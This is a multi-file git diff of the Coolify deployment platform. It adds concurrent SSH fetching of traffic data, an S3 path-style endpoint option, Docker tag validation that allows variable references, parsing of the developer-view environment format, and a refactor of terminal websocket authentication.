App\Data\Traffic\TrafficSeriesBucketData; use App\Helpers\SshMultiplexingHelper; use App\Models\Server; +use Illuminate\Contracts\Process\InvokedProcess; use Illuminate\Support\Collection; use Illuminate\Support\Facades\Cache; use Illuminate\Support\Facades\Log; @@ -354,6 +355,56 @@ class SentinelTrafficClient return $this->safeReportedKeys(array_map(fn ($app) => is_array($app) ? ($app['uuid'] ?? null) : null, $bundle['apps'] ?? [])); } + /** + * Fetch the server-wide dashboard bundle of several servers at the same time, so a page + * waits for the slowest server instead of for every server in turn. Each response warms + * the cache that prefetchServerWide() reads; a failed fetch is remembered like in + * fetchDashboard(), so prefetchServerWide() does not fetch it again. + * + * @param iterable $clients + */ + public static function prefetchServerWideConcurrently(iterable $clients, string $from, string $to, string $range, int $pathLimit = 50, int $breakdownLimit = 50, int $appsLimit = 200): void + { + $started = []; + foreach ($clients as $client) { + $url = $client->dashboardUrl(null, $from, $to, $range, $pathLimit, $breakdownLimit, $appsLimit); + if (! $client->fetchesThroughStartRemoteFetch() + || Cache::has($client->cacheKey($url)) + || Cache::get($client->dashboardAbsenceKey()) === true) { + continue; + } + + try { + $started[] = [$client, $url, $client->startRemoteFetch($url)]; + } catch (\Throwable) { + // An unavailable server fails again at once in prefetchServerWide(). + } + } + + foreach ($started as [$client, $url, $process]) { + try { + Cache::put($client->cacheKey($url), $client->guard($client->awaitRemote($process)), 60); + } catch (\Throwable) { + Cache::put($client->dashboardAbsenceKey(), true, 60); + } + } + } + + /** + * False for a fake that serves canned bodies from raw() or remoteFetch(): the concurrent + * prefetch would otherwise reach real SSH. + */ + private function fetchesThroughStartRemoteFetch(): bool + { + foreach (['raw', 'remoteFetch'] as $method) { + if ((new \ReflectionMethod($this, $method))->getDeclaringClass()->getName() !== self::class) { + return false; + } + } + + return true; + } + /** * The usable keys of a Sentinel-reported key list. A key that would be unsafe in a request * url is dropped (and logged) on its own, so it doesn't fail the whole server's analytics. @@ -685,13 +736,21 @@ class SentinelTrafficClient } protected function remoteFetch(string $url): string + { + // Throw the real SSH/docker error (for example, an unreadable SSH key or a missing + // container). A literal "null" body comes back empty; guard() rejects the empty string. + return $this->awaitRemote($this->startRemoteFetch($url)); + } + + /** + * Start the fetch of one URL without waiting for it, so several servers can be fetched at the same time. + */ + protected function startRemoteFetch(string $url): InvokedProcess { $this->ensureRemoteAvailable(); $token = $this->server->settings->ensureValidSentinelToken(); - // Throw the real SSH/docker error (for example, an unreadable SSH key or a missing - // container). A literal "null" body comes back empty; guard() rejects the empty string. - return $this->runRemote($this->buildFetchCommand($token, $url)); + return $this->startRemote($this->buildFetchCommand($token, $url)); } /** @@ -702,7 +761,7 @@ class SentinelTrafficClient $this->ensureRemoteAvailable(); $token = $this->server->settings->ensureValidSentinelToken(); - return $this->runRemote($this->buildBatchCommand($token, $urls)); + return $this->awaitRemote($this->startRemote($this->buildBatchCommand($token, $urls))); } /** @@ -722,14 +781,25 @@ class SentinelTrafficClient /** * Unlike instant_remote_process(), there are no SSH retries; a failure marks the server unavailable. */ - private function runRemote(string $command): string + private function startRemote(string $command): InvokedProcess { $commands = $this->server->isNonRoot() ? parseCommandsByLineForSudo(collect([$command]), $this->server) : [$command]; try { - $process = Process::timeout(self::REMOTE_TIMEOUT) + return Process::timeout(self::REMOTE_TIMEOUT) ->input(SshMultiplexingHelper::sshBatchInput(implode("\n", $commands))) - ->run(SshMultiplexingHelper::generateSshBatchCommand($this->server, commandTimeout: self::REMOTE_TIMEOUT)); + ->start(SshMultiplexingHelper::generateSshBatchCommand($this->server, commandTimeout: self::REMOTE_TIMEOUT)); + } catch (\Throwable $e) { + Cache::put($this->unavailableKey(), true, self::UNAVAILABLE_TTL); + + throw $e; + } + } + + private function awaitRemote(InvokedProcess $invoked): string + { + try { + $process = $invoked->wait(); if ($process->exitCode() !== 0) { excludeCertainErrors($process->errorOutput(), $process->exitCode()); diff --git a/app/Services/ServerTransfer/ServerTransferExporter.php b/app/Services/ServerTransfer/ServerTransferExporter.php index 0edba09cb5..de986a9f57 100644 --- a/app/Services/ServerTransfer/ServerTransferExporter.php +++ b/app/Services/ServerTransfer/ServerTransferExporter.php @@ -1489,6 +1489,7 @@ class ServerTransferExporter 'secret' => $storage->secret, 'bucket' => $storage->bucket, 'endpoint' => $storage->endpoint, + 'use_path_style_endpoint' => $storage->usesPathStyleEndpoint(), 'is_usable' => (bool) $storage->is_usable, ]; } diff --git a/app/Services/ServerTransfer/ServerTransferImporter.php b/app/Services/ServerTransfer/ServerTransferImporter.php index 9cdb066eee..7362160471 100644 --- a/app/Services/ServerTransfer/ServerTransferImporter.php +++ b/app/Services/ServerTransfer/ServerTransferImporter.php @@ -2007,6 +2007,7 @@ class ServerTransferImporter 'secret' => data_get($payload, 'secret'), 'bucket' => data_get($payload, 'bucket'), 'endpoint' => data_get($payload, 'endpoint'), + 'use_path_style_endpoint' => (bool) data_get($payload, 'use_path_style_endpoint', true), 'is_usable' => (bool) data_get($payload, 'is_usable', true), ]); $storage->uuid = $uuid; diff --git a/app/Services/VultrService.php b/app/Services/VultrService.php index 347b7e3fbb..ced66a66f7 100644 --- a/app/Services/VultrService.php +++ b/app/Services/VultrService.php @@ -2,6 +2,7 @@ namespace App\Services; +use App\Exceptions\CloudProviderApiException; use App\Exceptions\RateLimitException; use Illuminate\Support\Facades\Http; @@ -28,7 +29,7 @@ class VultrService ); } - throw new \Exception('Vultr API error: '.$response->json('error', 'Unknown error'), $response->status()); + throw new CloudProviderApiException('Vultr', $response->json('error', 'Unknown error'), $response->status()); } return $response->json() ?? []; diff --git a/app/Support/RetryHttpConnectionFailures.php b/app/Support/RetryHttpConnectionFailures.php new file mode 100644 index 0000000000..1ab42313a0 --- /dev/null +++ b/app/Support/RetryHttpConnectionFailures.php @@ -0,0 +1,47 @@ +send($handler, $request, $options)->otherwise(function (Throwable $exception) use ($handler, $request, $options): PromiseInterface { + if (! $exception instanceof ConnectException || ! in_array($request->getMethod(), self::RETRIED_METHODS, true)) { + return Create::rejectionFor($exception); + } + + Sleep::usleep(500_000); + + return $this->send($handler, $request, $options); + }); + }; + } + + /** + * The cURL handler rejects the promise on a connection failure, but other handlers (such as Http::fake()) throw. + */ + private function send(callable $handler, RequestInterface $request, array $options): PromiseInterface + { + try { + return Create::promiseFor($handler($request, $options)); + } catch (ConnectException $exception) { + return Create::rejectionFor($exception); + } + } +} diff --git a/app/Support/ValidationPatterns.php b/app/Support/ValidationPatterns.php index 53bc945c18..77c89f2fbe 100644 --- a/app/Support/ValidationPatterns.php +++ b/app/Support/ValidationPatterns.php @@ -144,12 +144,23 @@ class ValidationPatterns public const DOCKER_IMAGE_NAME_PATTERN = '/\A(?=.{1,255}\z)(?:(?:(?:[a-z0-9](?:[a-z0-9.-]*[a-z0-9])?|\[[0-9a-f:.]+\])(?::[0-9]+)?\/)?[a-z0-9]+(?:(?:[._]|__|-+)[a-z0-9]+)*(?:\/[a-z0-9]+(?:(?:[._]|__|-+)[a-z0-9]+)*)*)(?:@sha256)?\z/'; /** - * Pattern for Docker image tags. + * Pattern for literal Docker image tags. * * Docker tags may contain letters, digits, underscores, dots, and hyphens, * must start with an alphanumeric/underscore, and are limited to 128 chars. */ - public const DOCKER_IMAGE_TAG_PATTERN = '/\A[A-Za-z0-9_][A-Za-z0-9_.-]{0,127}\z/'; + public const DOCKER_IMAGE_LITERAL_TAG_PATTERN = '/\A[A-Za-z0-9_][A-Za-z0-9_.-]{0,127}\z/'; + + /** + * Pattern for Docker image tags of applications. + * + * Same as DOCKER_IMAGE_LITERAL_TAG_PATTERN, but + * $VAR, ${VAR}, ${VAR:-default} and ${VAR-default} references are also allowed, + * because Docker Compose fills them in from the application's environment + * variables at deploy time. A default may only hold tag characters. Other + * expansions ($(...), ${VAR:?...}, nested references, $1, $$) are rejected. + */ + public const DOCKER_IMAGE_TAG_PATTERN = '/\A(?=.{1,128}\z)(?:[A-Za-z0-9_]|\$(?:[A-Za-z_][A-Za-z0-9_]*+|\{[A-Za-z_][A-Za-z0-9_]*+(?::?-[A-Za-z0-9_.-]*+)?\}))(?:[A-Za-z0-9_.-]|\$(?:[A-Za-z_][A-Za-z0-9_]*+|\{[A-Za-z_][A-Za-z0-9_]*+(?::?-[A-Za-z0-9_.-]*+)?\}))*\z/'; /** * Normalize environment variable keys before validation and storage. @@ -312,7 +323,7 @@ class ValidationPatterns { return [ "{$nameField}.regex" => 'The Docker registry image name must be a valid image repository without a tag and may not contain shell metacharacters.', - "{$tagField}.regex" => 'The Docker registry image tag must be a valid Docker tag and may not contain shell metacharacters.', + "{$tagField}.regex" => 'The Docker registry image tag must be a valid Docker tag or a $VARIABLE reference and may not contain shell metacharacters.', ]; } @@ -348,14 +359,17 @@ class ValidationPatterns /** * Check if a string is a valid Docker image tag. + * + * Set $allowVariables to false where Docker Compose does not fill in the tag, + * for example for images that Coolify runs with docker run. */ - public static function isValidDockerImageTag(?string $value): bool + public static function isValidDockerImageTag(?string $value, bool $allowVariables = true): bool { if (blank($value)) { return true; } - return preg_match(self::DOCKER_IMAGE_TAG_PATTERN, $value) === 1; + return preg_match($allowVariables ? self::DOCKER_IMAGE_TAG_PATTERN : self::DOCKER_IMAGE_LITERAL_TAG_PATTERN, $value) === 1; } /** diff --git a/bootstrap/helpers/databases.php b/bootstrap/helpers/databases.php index 97a5f87161..78632b762e 100644 --- a/bootstrap/helpers/databases.php +++ b/bootstrap/helpers/databases.php @@ -283,7 +283,7 @@ function deleteBackupsS3(string|array|null $filenames, S3Storage $s3): void 'region' => $s3->region, 'bucket' => $s3->bucket, 'endpoint' => $s3->endpoint, - 'use_path_style_endpoint' => true, + 'use_path_style_endpoint' => $s3->usesPathStyleEndpoint(), 'aws_url' => $s3->awsUrl(), 'throw' => true, ]); diff --git a/bootstrap/helpers/domains.php b/bootstrap/helpers/domains.php index 88d55994dc..176a4e1153 100644 --- a/bootstrap/helpers/domains.php +++ b/bootstrap/helpers/domains.php @@ -1,6 +1,7 @@ $url, 'FQDN' => $host] as $type => $value) { + $application->environment_variables()->updateOrCreate([ + 'resourceable_type' => Application::class, + 'resourceable_id' => $application->id, + 'key' => "SERVICE_{$type}_{$serviceEnvKey}", + ], [ + 'value' => $value, + 'is_preview' => false, + ]); + } + } + + $pattern = '/^SERVICE_(URL|FQDN)_'.preg_quote($serviceEnvKey, '/').'(?:_(\d+))?$/'; + $application->environment_variables() + ->where(fn ($query) => $query->where('key', 'LIKE', "SERVICE_URL_{$serviceEnvKey}%") + ->orWhere('key', 'LIKE', "SERVICE_FQDN_{$serviceEnvKey}%")) + ->get() + ->each(function (EnvironmentVariable $variable) use ($pattern, $url, $host) { + if (! preg_match($pattern, $variable->key, $matches)) { + return; + } + $value = $matches[1] === 'URL' ? $url : $host; + if ($value !== null && isset($matches[2])) { + $value = "{$value}:{$matches[2]}"; + } + $variable->update(['value' => $value]); + }); +} diff --git a/bootstrap/helpers/github.php b/bootstrap/helpers/github.php index edcbca88f6..04eebdb505 100644 --- a/bootstrap/helpers/github.php +++ b/bootstrap/helpers/github.php @@ -212,7 +212,7 @@ function generateGithubToken(GithubApp $source, string $type) if (! $response->successful()) { $error = data_get($response->json(), 'message', "HTTP {$response->status()}"); if ($error === 'Not Found') { - $error = 'Repository not found. Is it moved or deleted?'; + $error = "GitHub App installation {$source->installation_id} was not found. Install the GitHub App again or update its installation ID."; } throw new RuntimeException("Failed to get installation token for {$source->name} with error: ".$error); } @@ -388,10 +388,9 @@ function loadRepositoryByPage(GithubApp $source, string $token, int $page) ]); $json = $response->json(); if ($response->status() !== 200) { - return [ - 'total_count' => 0, - 'repositories' => [], - ]; + $error = data_get($json, 'message', "HTTP {$response->status()}"); + + throw new RuntimeException("Failed to load repositories for {$source->name} with error: ".$error); } if ($json['total_count'] === 0) { diff --git a/bootstrap/helpers/parsers.php b/bootstrap/helpers/parsers.php index 8ae596a1e1..041e56ff0a 100644 --- a/bootstrap/helpers/parsers.php +++ b/bootstrap/helpers/parsers.php @@ -1,7 +1,6 @@ fs_path); + // The file storage keeps the path of the application; a preview deployment adds the suffix (LocalFileVolume::forPullRequest()). + $storedSource = $source; $isPreviewSuffixEnabled = $foundConfig ? (bool) data_get($foundConfig, 'is_preview_suffix_enabled', true) : true; @@ -1617,7 +1618,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int 'resource_type' => get_class($originalResource), ], [ - 'fs_path' => $source, + 'fs_path' => $storedSource, 'mount_path' => $target, 'content' => $content, 'is_directory' => $isDirectory, @@ -1698,7 +1699,6 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int ? ['name' => $name] : composeRenamedVolumeDeclarationFor($declaration, $name, $persistentVolume, $isPullRequest)); } - dispatch(new ServerFilesFromServerJob($originalResource)); $volumesParsed->put($index, $volume); } } @@ -2034,7 +2034,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int if ($resource->build_pack === 'dockercompose') { foreach ($domains as $forServiceName => $domain) { $parsedDomain = composeDomainEntryString($domain); - $serviceNameFormatted = str($serviceName)->upper()->replace('-', '_')->replace('.', '_'); + $serviceEnvKey = str(normalizeComposeServiceName((string) $forServiceName))->upper()->value(); if (filled($parsedDomain)) { $parsedDomain = str($parsedDomain)->explode(',')->first(); @@ -2042,42 +2042,15 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int $coolifyScheme = $coolifyUrl->getScheme(); $coolifyFqdn = $coolifyUrl->getHost(); $coolifyUrl = $coolifyUrl->withScheme($coolifyScheme)->withHost($coolifyFqdn)->withPort(null); - $serviceEnvKey = str(normalizeComposeServiceName((string) $forServiceName))->upper(); $coolifyEnvironments->put('SERVICE_URL_'.$serviceEnvKey, $coolifyUrl->__toString()); $coolifyEnvironments->put('SERVICE_FQDN_'.$serviceEnvKey, $coolifyFqdn); // A preview uses its own domains; the stored variables belong to the main application. if ($isPullRequest) { continue; } - $resource->environment_variables()->updateOrCreate([ - 'resourceable_type' => Application::class, - 'resourceable_id' => $resource->id, - 'key' => 'SERVICE_URL_'.$serviceEnvKey, - ], [ - 'value' => $coolifyUrl->__toString(), - 'is_preview' => false, - ]); - $resource->environment_variables()->updateOrCreate([ - 'resourceable_type' => Application::class, - 'resourceable_id' => $resource->id, - 'key' => 'SERVICE_FQDN_'.$serviceEnvKey, - ], [ - 'value' => $coolifyFqdn, - 'is_preview' => false, - ]); + syncComposeServiceUrlVariables($resource, $serviceEnvKey, $coolifyUrl->__toString(), $coolifyFqdn); } elseif (! $isPullRequest) { - $resource->environment_variables()->where('resourceable_type', Application::class) - ->where('resourceable_id', $resource->id) - ->where('key', 'LIKE', "SERVICE_FQDN_{$serviceNameFormatted}%") - ->update([ - 'value' => null, - ]); - $resource->environment_variables()->where('resourceable_type', Application::class) - ->where('resourceable_id', $resource->id) - ->where('key', 'LIKE', "SERVICE_URL_{$serviceNameFormatted}%") - ->update([ - 'value' => null, - ]); + syncComposeServiceUrlVariables($resource, $serviceEnvKey, null, null); } } } @@ -3121,7 +3094,6 @@ function serviceParser(Service $resource): Collection ); $topLevel->get('volumes')->put($name, composeRenamedVolumeDeclarationFor($declaration, $name, $persistentVolume)); } - dispatch(new ServerFilesFromServerJob($originalResource)); $volumesParsed->put($index, $volume); } } diff --git a/bootstrap/helpers/services.php b/bootstrap/helpers/services.php index bfb5f22759..603b4fdc58 100644 --- a/bootstrap/helpers/services.php +++ b/bootstrap/helpers/services.php @@ -301,45 +301,53 @@ function getFilesystemVolumesFromServer(ServiceApplication|ServiceDatabase|Appli $server = $oneService->service->server; } $fileVolumes = $oneService->fileStorages()->get(); - $escapedWorkdir = escapeshellarg($workdir); - $commands = collect([ - "mkdir -p -- {$escapedWorkdir} > /dev/null 2>&1 || true", - ]); - instant_remote_process($commands, $server); - foreach ($fileVolumes as $fileVolume) { - $content = data_get($fileVolume, 'content'); - // A relative path is inside the resource directory, never in the SSH user's working - // directory. A persisted Compose expression (`${VAR:-/path}`) stays as it is. + if ($isInit) { + instant_remote_process(['mkdir -p -- '.escapeshellarg($workdir).' > /dev/null 2>&1 || true'], $server); + } + if ($fileVolumes->isEmpty()) { + return; + } + // A relative path is inside the resource directory, never in the SSH user's working + // directory. A persisted Compose expression (`${VAR:-/path}`) stays as it is. + $fileLocations = $fileVolumes->map(function (LocalFileVolume $fileVolume) use ($workdir): string { $fsPath = trim((string) $fileVolume->fs_path); - $fileLocation = str_starts_with($fsPath, '$') ? $fsPath : $fileVolume->resolvedFsPath($workdir)->value(); - $escapedFileLocation = filesystemVolumeShellArgument((string) $fileLocation); + + return str_starts_with($fsPath, '$') ? $fsPath : $fileVolume->resolvedFsPath($workdir)->value(); + })->values()->all(); + $states = LocalFileVolume::remoteFileStates($fileLocations, $server, filesystemVolumeShellArgument(...)); + foreach ($fileVolumes->values() as $index => $fileVolume) { + $content = data_get($fileVolume, 'content'); + $fileLocation = $fileLocations[$index]; + $escapedFileLocation = filesystemVolumeShellArgument($fileLocation); // A token with only the write permission can save a Compose file, so Coolify does not // write outside the resource directory here. A deployment or start writes those paths. $isOutsideResourceDirectory = fn (): bool => $fileVolume->isOutsideResourceDirectory(); - // Exists and is a file - $isFile = instant_remote_process(["test -f {$escapedFileLocation} && echo OK || echo NOK"], $server); - // Exists and is a directory - $isDir = instant_remote_process(["test -d {$escapedFileLocation} && echo OK || echo NOK"], $server); + $state = $states[$index]; + // A symbolic link to a directory, a special file, or a failed check: Coolify changes nothing. + if ($state === 'other' || $state === 'unknown') { + continue; + } + $isDir = in_array($state, ['directory', 'empty-directory'], true); - if ($isFile === 'OK') { + if ($state === 'file') { $fileVolume->is_directory = false; $fileVolume->save(); if ($fileVolume->is_based_on_git) { $fileVolume->loadStorageOnServer(); } - } elseif ($isDir === 'OK' && ! $fileVolume->is_directory && filled($content)) { + } elseif ($isDir && ! $fileVolume->is_directory && filled($content)) { // A configured file must not lose its content because a directory is at its path. // Docker leaves an empty directory when it starts before the file exists: replace it. // A directory with files stays; the start or deployment shows a warning for it. - if (! $isOutsideResourceDirectory() && LocalFileVolume::remoteFileStates([(string) $fileLocation], $server)[0] === 'empty-directory') { + if (! $isOutsideResourceDirectory() && $state === 'empty-directory') { $fileVolume->saveStorageOnServer(); } - } elseif ($isDir === 'OK') { + } elseif ($isDir) { // If its a directory & exists $fileVolume->content = null; $fileVolume->is_directory = true; $fileVolume->save(); - } elseif ($isFile === 'NOK' && $isDir === 'NOK' && ! $fileVolume->is_directory && $isInit && $content) { + } elseif ($state === 'missing' && ! $fileVolume->is_directory && $isInit && $content) { // Does not exists (no dir or file), not flagged as directory, is init, has content if ($isOutsideResourceDirectory()) { continue; @@ -352,7 +360,7 @@ function getFilesystemVolumesFromServer(ServiceApplication|ServiceDatabase|Appli 'mkdir -p -- "$(dirname -- '.$escapedFileLocation.')"', "echo '$content' | base64 -d | tee -- {$escapedFileLocation}", ], $server); - } elseif ($isFile === 'NOK' && $isDir === 'NOK' && $fileVolume->is_directory && $isInit) { + } elseif ($state === 'missing' && $fileVolume->is_directory && $isInit) { // Does not exists (no dir or file), flagged as directory, is init $fileVolume->content = null; $fileVolume->is_directory = true; @@ -360,7 +368,7 @@ function getFilesystemVolumesFromServer(ServiceApplication|ServiceDatabase|Appli if (! $isOutsideResourceDirectory()) { instant_remote_process(["mkdir -p -- {$escapedFileLocation}"], $server); } - } elseif ($isFile === 'NOK' && $isDir === 'NOK' && ! $fileVolume->is_directory && $isInit && is_null($content)) { + } elseif ($state === 'missing' && ! $fileVolume->is_directory && $isInit && is_null($content)) { // Does not exists (no dir or file), not flagged as directory, is init, has no content => create directory $fileVolume->content = null; $fileVolume->is_directory = true; @@ -687,7 +695,7 @@ function clone_service(Service $source, StandaloneDocker|SwarmDocker $destinatio 'created_at', 'updated_at', ])->fill([ - 'name' => $source->name.'-clone-'.$uuid, + 'name' => clone_resource_name($source->name, $uuid), ...$overrides, 'uuid' => $uuid, 'destination_id' => $destination->id, diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php index d4e1a03390..cd78aeee34 100644 --- a/bootstrap/helpers/shared.php +++ b/bootstrap/helpers/shared.php @@ -134,6 +134,18 @@ function new_public_id(int $length = 24): string return Str::lower(Str::random($length)); } +/** + * The name of a clone: the source name without the "-clone-" suffixes of earlier clones, then a new suffix. + * Without this, each clone of a clone adds a suffix, and the name soon becomes longer than the 255 characters of the column. + */ +function clone_resource_name(string $name, string $uuid): string +{ + $suffix = '-clone-'.$uuid; + $baseName = preg_replace('/(-clone-[a-z0-9]{7,})+$/i', '', $name); + + return Str::limit($baseName, 255 - strlen($suffix), '').$suffix; +} + /** * Validate that a path or identifier is safe for use in shell commands. * @@ -1258,6 +1270,123 @@ function parseEnvFormatToArray($env_file_contents) return $env_array; } +/** + * Format a value for a KEY=VALUE line of the developer view, so that parseEnvFormatToArray() + * reads it back unchanged. Returns null when the format cannot hold the value: it has a line + * break, or it needs quotes and has both quote types. + */ +function formatEnvValueForDevView(?string $value): ?string +{ + $value ??= ''; + if (str_contains($value, "\n")) { + return null; + } + + $needsQuotes = str_starts_with($value, '"') || str_starts_with($value, "'") || preg_match('/\s#/', $value) === 1; + if (! $needsQuotes) { + return $value; + } + if (! str_contains($value, "'")) { + return "'{$value}'"; + } + if (! str_contains($value, '"')) { + return "\"{$value}\""; + } + + return null; +} + +/** + * Format a variable for the developer view: its KEY=value line, with a "# coolify:" directive + * line above it when a flag is not its default. A variable that the view cannot edit gets a + * placeholder line and no directive. + */ +function formatEnvVariableForDevView(EnvironmentVariable|SharedEnvironmentVariable $variable, bool $canViewValue): string +{ + if (! $canViewValue) { + return "{$variable->key}=(Hidden, only admins can view)"; + } + if ($variable->is_shown_once) { + return "{$variable->key}=(Locked Secret, delete and add again to change)"; + } + if ($variable->is_multiline) { + return "{$variable->key}=(Multiline environment variable, edit in normal view)"; + } + $value = formatEnvValueForDevView($variable->value); + if ($value === null) { + return "{$variable->key}=(Value cannot be shown in this view, edit in normal view)"; + } + + $flags = []; + foreach ($variable::DEV_VIEW_FLAG_DEFAULTS as $flag => $default) { + if ((bool) $variable->{"is_{$flag}"} !== $default) { + $flags[] = $default ? "{$flag}=false" : $flag; + } + } + $line = "{$variable->key}={$value}"; + + return $flags === [] ? $line : '# coolify: '.implode(' ', $flags)."\n".$line; +} + +/** + * Parse developer view text. Returns the result of parseEnvFormatToArray() with a 'settings' + * entry per key: the flags of the "# coolify:" line directly above the key line, as model + * attributes (for example ['is_literal' => true]). A key without a directive gets empty + * settings, so its current flags stay. + * + * @param array $flagDefaults the allowed flags and their defaults + * @return array}> + * + * @throws InvalidArgumentException when a directive is not directly above a KEY=value line, or has an unknown flag or value + */ +function parseEnvDevView(?string $contents, array $flagDefaults): array +{ + $contents ??= ''; + $settingsByKey = []; + $directive = null; + $directiveLine = 0; + + foreach (explode("\n", $contents) as $index => $line) { + $isKeyLine = $line !== '' && ! str_starts_with($line, '#') && str_contains($line, '='); + if ($directive !== null && ! $isKeyLine) { + throw new InvalidArgumentException("Line {$directiveLine}: a \"# coolify:\" line must be directly above a KEY=value line."); + } + + if ($isKeyLine) { + $settingsByKey[substr($line, 0, strpos($line, '='))] = $directive ?? []; + $directive = null; + } elseif (str_starts_with($line, '# coolify:')) { + $directiveLine = $index + 1; + $flags = preg_split('/\s+/', trim(substr($line, strlen('# coolify:'))), -1, PREG_SPLIT_NO_EMPTY); + if ($flags === []) { + throw new InvalidArgumentException("Line {$directiveLine}: the \"# coolify:\" line has no flags."); + } + + $directive = []; + foreach ($flags as $flag) { + [$name, $value] = array_pad(explode('=', $flag, 2), 2, 'true'); + if (! array_key_exists($name, $flagDefaults)) { + throw new InvalidArgumentException("Line {$directiveLine}: unknown flag \"{$name}\". Allowed flags: ".implode(', ', array_keys($flagDefaults)).'.'); + } + if ($value !== 'true' && $value !== 'false') { + throw new InvalidArgumentException("Line {$directiveLine}: the value of \"{$name}\" must be true or false."); + } + $directive["is_{$name}"] = $value === 'true'; + } + } + } + if ($directive !== null) { + throw new InvalidArgumentException("Line {$directiveLine}: a \"# coolify:\" line must be directly above a KEY=value line."); + } + + $variables = parseEnvFormatToArray($contents); + foreach ($variables as $key => $data) { + $variables[$key]['settings'] = $settingsByKey[$key] ?? []; + } + + return $variables; +} + /** * Extract inline comments from environment variables in raw docker-compose YAML. * diff --git a/database/migrations/2026_10_27_142752_add_use_path_style_endpoint_to_s3_storages_table.php b/database/migrations/2026_10_27_142752_add_use_path_style_endpoint_to_s3_storages_table.php new file mode 100644 index 0000000000..1c66f52b18 --- /dev/null +++ b/database/migrations/2026_10_27_142752_add_use_path_style_endpoint_to_s3_storages_table.php @@ -0,0 +1,22 @@ +boolean('use_path_style_endpoint')->default(true); + }); + } + + public function down(): void + { + Schema::table('s3_storages', function (Blueprint $table) { + $table->dropColumn('use_path_style_endpoint'); + }); + } +}; diff --git a/database/migrations/2026_10_27_155023_add_logdrain_axiom_domain_to_server_settings_table.php b/database/migrations/2026_10_27_155023_add_logdrain_axiom_domain_to_server_settings_table.php new file mode 100644 index 0000000000..0bd3cfc8f7 --- /dev/null +++ b/database/migrations/2026_10_27_155023_add_logdrain_axiom_domain_to_server_settings_table.php @@ -0,0 +1,22 @@ +string('logdrain_axiom_domain')->nullable()->default('us-east-1.aws.edge.axiom.co'); + }); + } + + public function down(): void + { + Schema::table('server_settings', function (Blueprint $table) { + $table->dropColumn('logdrain_axiom_domain'); + }); + } +}; diff --git a/database/migrations/2026_10_27_160258_remove_highlight_log_drain_from_server_settings_table.php b/database/migrations/2026_10_27_160258_remove_highlight_log_drain_from_server_settings_table.php new file mode 100644 index 0000000000..681d8e74e1 --- /dev/null +++ b/database/migrations/2026_10_27_160258_remove_highlight_log_drain_from_server_settings_table.php @@ -0,0 +1,43 @@ +where('is_logdrain_highlight_enabled', true)->pluck('server_id'); + Server::query()->whereIn('id', $serverIds)->get() + ->reject(fn (Server $server) => $server->isTransferredAway()) + ->each(fn (Server $server) => StopLogDrain::dispatch($server)); + } catch (Throwable $e) { + Log::warning('Could not queue the removal of Highlight log drain containers: '.$e->getMessage()); + } + + Schema::table('server_settings', function (Blueprint $table) { + $table->dropColumn(['is_logdrain_highlight_enabled', 'logdrain_highlight_project_id']); + }); + } + + public function down(): void + { + Schema::table('server_settings', function (Blueprint $table) { + $table->boolean('is_logdrain_highlight_enabled')->default(false); + $table->string('logdrain_highlight_project_id')->nullable(); + }); + } +}; diff --git a/docker/coolify-terminal/terminal-server.js b/docker/coolify-terminal/terminal-server.js index 8f34970a9c..96df75dfb7 100755 --- a/docker/coolify-terminal/terminal-server.js +++ b/docker/coolify-terminal/terminal-server.js @@ -1,7 +1,6 @@ import { WebSocketServer } from 'ws'; import http from 'http'; import pty from 'node-pty'; -import { parseCookie } from 'cookie'; import 'dotenv/config'; import { TERMINAL_CLOSE_CODES, @@ -12,6 +11,7 @@ import { extractTargetHost, extractTimeout, detachPtyProcess, + getTerminalAuthHeaders, getTerminalProcessEnv, getTerminalSessionTimeout, isAttachCommand, @@ -111,34 +111,22 @@ const server = http.createServer((req, res) => { } }); -const getSessionCookie = (req) => { - const cookies = parseCookie(req.headers.cookie || ''); - const xsrfToken = cookies['XSRF-TOKEN']; - const appName = process.env.APP_NAME || 'laravel'; - const sessionCookieName = `${appName.replace(/[^a-zA-Z0-9]/g, '_').toLowerCase()}_session`; - return { - sessionCookieName, - xsrfToken: xsrfToken, - laravelSession: cookies[sessionCookieName] - } -} - const verifyClient = async (req) => { - const sessionCookie = getSessionCookie(req); + const authHeaderCandidates = getTerminalAuthHeaders(req.headers.cookie); const requestContext = { remoteAddress: req.socket?.remoteAddress, origin: req.headers.origin, - sessionCookieName: sessionCookie.sessionCookieName, - hasXsrfToken: Boolean(sessionCookie.xsrfToken), - hasLaravelSession: Boolean(sessionCookie.laravelSession), + xsrfTokenCount: authHeaderCandidates.length, }; logTerminal('log', 'Verifying websocket client.', requestContext); // Authenticate with Laravel backend - const result = await authenticateTerminalUpgrade(sessionCookie, postToCoolify); + const result = await authenticateTerminalUpgrade(authHeaderCandidates, postToCoolify); if (result.authenticated) { + // The connection handler sends its requests with the XSRF token that Coolify accepted. + req.terminalAuthHeaders = result.authHeaders; logTerminal('log', 'Websocket client authentication succeeded.', requestContext); } else if (result.error) { logTerminal('error', 'Websocket client authentication failed.', { @@ -170,7 +158,7 @@ wss.on('connection', async (ws, req) => { const userId = generateUserId(); ws.userId = userId; - const { xsrfToken, laravelSession, sessionCookieName } = getSessionCookie(req); + const authHeaders = req.terminalAuthHeaders; const userSession = { ws, userId, @@ -180,17 +168,12 @@ wss.on('connection', async (ws, req) => { authReady: false, pendingMessages: [], terminalSessionTimer: null, - authHeaders: { - 'Cookie': `${sessionCookieName}=${laravelSession}`, - 'X-XSRF-TOKEN': xsrfToken, - }, + authHeaders, }; const connectionContext = { userId, remoteAddress: req.socket?.remoteAddress, - sessionCookieName, - hasXsrfToken: Boolean(xsrfToken), - hasLaravelSession: Boolean(laravelSession), + hasAuthTokens: Boolean(authHeaders), }; // Register socket handlers up front so messages sent immediately by the client @@ -214,17 +197,14 @@ wss.on('connection', async (ws, req) => { }); // Verify presence of required tokens - if (!laravelSession || !xsrfToken) { + if (!authHeaders) { logTerminal('warn', 'Closing websocket connection because required auth tokens are missing.', connectionContext); rejectTerminalSocket(ws, TERMINAL_CLOSE_CODES.AUTH_REJECTED, 'Unauthorized: Missing required tokens'); return; } try { - const response = await postToCoolify('/terminal/auth/ips', { - 'Cookie': `${sessionCookieName}=${laravelSession}`, - 'X-XSRF-TOKEN': xsrfToken - }); + const response = await postToCoolify('/terminal/auth/ips', authHeaders); if (response.status !== 200) { throw createHttpError(response); @@ -464,13 +444,12 @@ async function handleCommand(ws, command, userId) { }, 